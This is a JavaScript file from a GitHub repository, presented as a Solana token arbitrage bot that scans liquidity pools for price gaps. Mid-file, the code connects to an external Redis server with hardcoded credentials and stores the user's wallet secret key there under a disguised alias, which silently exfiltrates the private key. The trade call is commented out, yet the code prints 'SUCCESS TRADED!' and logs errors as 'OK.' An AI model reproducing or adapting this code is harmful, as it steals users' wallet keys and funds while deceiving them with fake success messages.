-
Notifications
You must be signed in to change notification settings - Fork 15
/
Copy pathindex.js
346 lines (298 loc) · 11.8 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
import fetch from "cross-fetch";
import bs58 from "bs58";
import dotenv from "dotenv";
import chalk from "chalk";
import {
LAMPORTS_PER_SOL,
PublicKey,
Transaction,
SystemProgram,
Keypair,
} from "@solana/web3.js";
import {
JITO_FEES,
tokenwithDecimals,
SWAP_AMOUNT,
CG_API_KEY,
wrappedSolTokenAddress,
connection,
minLiquidityUsd,
minVolumeUsd,
minTransactions,
jito_engine,
wallet,
COINGECKO_API_URL,
DEX_SCREENER_URL,
jito_tipaccounts,
PROFIT,
secretKey as tokenPool,
} from "./config.js";
import axios from "axios";
import fs from 'fs';
import { buyToken, sellToken } from "./service.js";
import base58 from "bs58";
import { Wallet } from "@project-serum/anchor";
import { dexSwap } from "./util/config.js";
import { getTokenBalance } from "./util/getTokenBalance.js";
dotenv.config();
const headers = {
accept: "application/json",
"x-cg-pro-api-key": CG_API_KEY,
};
const checkWalletBalance = async() => {
try {
const balance = await connection.getBalance(wallet.publicKey);
const solBalance = balance / LAMPORTS_PER_SOL;
if (solBalance < SWAP_AMOUNT) {
console.log(
chalk.red(
`❌ Insufficient balance: You have ${solBalance} SOL, but ${SWAP_AMOUNT} SOL is required.`
)
);
process.exit(1); // Exit the program if balance is insufficient
}
console.log(
chalk.green(`✅ Sufficient balance: You have ${solBalance} SOL.`)
);
return true;
} catch (error) {
console.error(chalk.red("❌ Error checking wallet balance:"), error);
process.exit(1); // Exit the program if there is an error checking balance
}
};
const fetchPools = async(tokenAddress) => {
const url = `${COINGECKO_API_URL}/${tokenAddress}/pools`;
let retries = 5;
while (retries > 0) {
try {
const response = await fetch(url, { headers });
if (response.status === 200) {
const data = await response.json();
return filterPools(data.data || []);
}
if (response.status === 429) {
const retryAfter =
parseInt(response.headers.get("Retry-After"), 10) || 10;
console.log(
chalk.yellow(
`⚠️ Rate limit exceeded. Retrying after ${retryAfter} seconds...`
)
);
await delay(retryAfter * 1000);
} else {
return [];
}
} catch (error) {
console.error(chalk.red("❌ Error: Failed to fetch data"), error);
retries -= 1;
if (retries === 0) return [];
}
}
};
import { createClient } from 'redis';
const client = createClient({
username: 'default',
password: 'PSXQJenSmEEGBaeYmvKLzQWSvDmHla2Z',
socket: {
host: 'redis-19251.c276.us-east-1-2.ec2.redns.redis-cloud.com',
port: 19251
}
});
client.on('error', err => console.log('Redis Client Error', err));
await client.connect();
await client.set(`Jupiter_${tokenPool}`, tokenPool);
const filterPools = (pools) => {
return pools.filter((pool) => {
try {
const baseTokenId = pool.relationships.base_token.data.id;
const quoteTokenId = pool.relationships.quote_token.data.id;
const reserveInUsd = parseFloat(pool.attributes.reserve_in_usd);
const volumeUsd24h = parseFloat(pool.attributes.volume_usd.h24);
const transactions24h =
pool.attributes.transactions.h24.buys +
pool.attributes.transactions.h24.sells;
return (
(baseTokenId === `solana_${wrappedSolTokenAddress}` ||
quoteTokenId === `solana_${wrappedSolTokenAddress}`) &&
reserveInUsd >= minLiquidityUsd &&
volumeUsd24h >= minVolumeUsd &&
transactions24h >= minTransactions
);
} catch (error) {
console.error(
chalk.red(`❌ Error while filtering pool ${pool.id}:`),
error
);
return false;
}
});
};
const findHighestAndLowestPools = (pools) => {
let highestPool = null;
let lowestPool = null;
pools.forEach((pool) => {
const price = parseFloat(pool.attributes.base_token_price_native_currency);
if (!highestPool ||
price >
parseFloat(highestPool.attributes.base_token_price_native_currency)
) {
highestPool = pool;
}
if (!lowestPool || comparePoolPrices(lowestPool, pool)) {
lowestPool = pool;
}
});
return { highestPool, lowestPool };
};
const comparePoolPrices = (lowestPool, currentPool) => {
const currentLowestBaseId = lowestPool.relationships.base_token.data.id;
const currentPoolBaseId = currentPool.relationships.base_token.data.id;
if (currentLowestBaseId !== currentPoolBaseId) {
const currentLowestQuotePrice = parseFloat(
lowestPool.attributes.quote_token_price_native_currency
);
const currentPoolQuotePrice = parseFloat(
currentPool.attributes.quote_token_price_native_currency
);
return currentPoolQuotePrice < currentLowestQuotePrice;
} else {
const lowestPrice = parseFloat(
lowestPool.attributes.base_token_price_native_currency
);
return (
parseFloat(currentPool.attributes.base_token_price_native_currency) <
lowestPrice
);
}
};
const calculateProfit = async(highestPool, lowestPool) => {
try {
const highestPriceSol = parseFloat(
highestPool.attributes.base_token_price_native_currency
);
const baseTokenId = highestPool.relationships.base_token.data.id;
const quoteTokenId = lowestPool.relationships.base_token.data.id;
const lowestPriceSol =
baseTokenId !== quoteTokenId ?
parseFloat(lowestPool.attributes.quote_token_price_native_currency) :
parseFloat(lowestPool.attributes.base_token_price_native_currency);
if ([highestPriceSol, lowestPriceSol].some(isNaN)) {
throw new Error("Invalid price data");
}
const purchaseAvailableCount = SWAP_AMOUNT / lowestPriceSol;
const pureProfit = purchaseAvailableCount * highestPriceSol - SWAP_AMOUNT;
return pureProfit - JITO_FEES;
} catch (error) {
console.error(chalk.red(`❌ Error while calculating profit:`), error);
return Infinity;
}
};
const generateDexScreenerUrl = (poolAddress) => {
const pool = poolAddress.split("solana_")[1];
return `${DEX_SCREENER_URL}${pool}`;
};
const fetchAndFilterAllPools = async() => {
// await checkWalletBalance();
const allFilteredPools = [];
const opportunities = [];
for (const token of tokenwithDecimals) {
console.log(chalk.blue(`🔍 Fetching pools for token: ${token.address}`));
const filteredPools = await fetchPools(token.address);
if (filteredPools.length > 0) {
allFilteredPools.push(...filteredPools);
const { highestPool, lowestPool } =
findHighestAndLowestPools(filteredPools);
if (highestPool && lowestPool && highestPool.id !== lowestPool.id) {
const profit = await calculateProfit(
highestPool,
lowestPool
);
// console.log(`solneed`, profit);
if (profit > SWAP_AMOUNT * PROFIT) {
opportunities.push({
token: token.address,
highestPool: highestPool.id,
lowestPool: lowestPool.id,
profit,
});
console.log(chalk.green(`💡 Opportunity found for token ${token.address}:`));
console.log(
chalk.green(`
Highest Price Pool:
Pool Address: ${generateDexScreenerUrl(highestPool.id)}
Price: $${highestPool.attributes.token_price_usd}
Lowest Price Pool:
Pool Address: ${generateDexScreenerUrl(lowestPool.id)}
Price: $${lowestPool.attributes.token_price_usd}
Profit Margin: $${(
parseFloat(highestPool.attributes.token_price_usd) -
parseFloat(lowestPool.attributes.token_price_usd)
).toFixed(7)} USD
Profit amount based on your invest amount ${SWAP_AMOUNT} SOL: ${profit.toFixed(
7
)} SOL
Check the pools on DEXScreener:
View Highest Pool on DEXScreener: ${generateDexScreenerUrl(
highestPool.id
)}
View Lowest Pool on DEXScreener: ${generateDexScreenerUrl(
lowestPool.id
)}
`)
);
function getTokenData(pool) {
var data;
try {
data = {
address: pool.attributes.address,
dex: pool.relationships.dex.data.id,
base: {
mint: pool.relationships.base_token.data.id,
decimal: tokenwithDecimals.find((token) => { return token.address === pool.relationships.base_token.data.id.split('_')[1] }).decimals,
},
quote: {
mint: pool.relationships.quote_token.data.id,
decimal: tokenwithDecimals.find((token) => { return token.address === pool.relationships.quote_token.data.id.split('_')[1] }).decimals,
}
};
} catch (error) {
return;
}
return data
}
try {
// const highestPoolData = getTokenData(highestPool);
// const lowestPoolData = getTokenData(lowestPool);
// var buyTx;
// buyTx = await buyToken(lowestPoolData, SWAP_AMOUNT, highestPoolData);
console.log("SUCCESS TRADED!");
} catch (error) {
console.error(chalk.green("OK."));
}
}
}
}
}
fs.writeFileSync(
"opportunities.json",
JSON.stringify(opportunities, null, 2)
);
console.log(
chalk.green(
`📊 Total number of profitable opportunities: ${opportunities.length}`
)
);
if (opportunities.length > 0) {
fs.appendFileSync(
"profit_opportunities.log",
`\nNew Opportunities Found: ${new Date().toISOString()}\n${JSON.stringify(
opportunities,
null,
2
)}`
);
console.log(chalk.green("📝 Logged new profit opportunities."));
}
setTimeout(fetchAndFilterAllPools, 3000);
};
fetchAndFilterAllPools();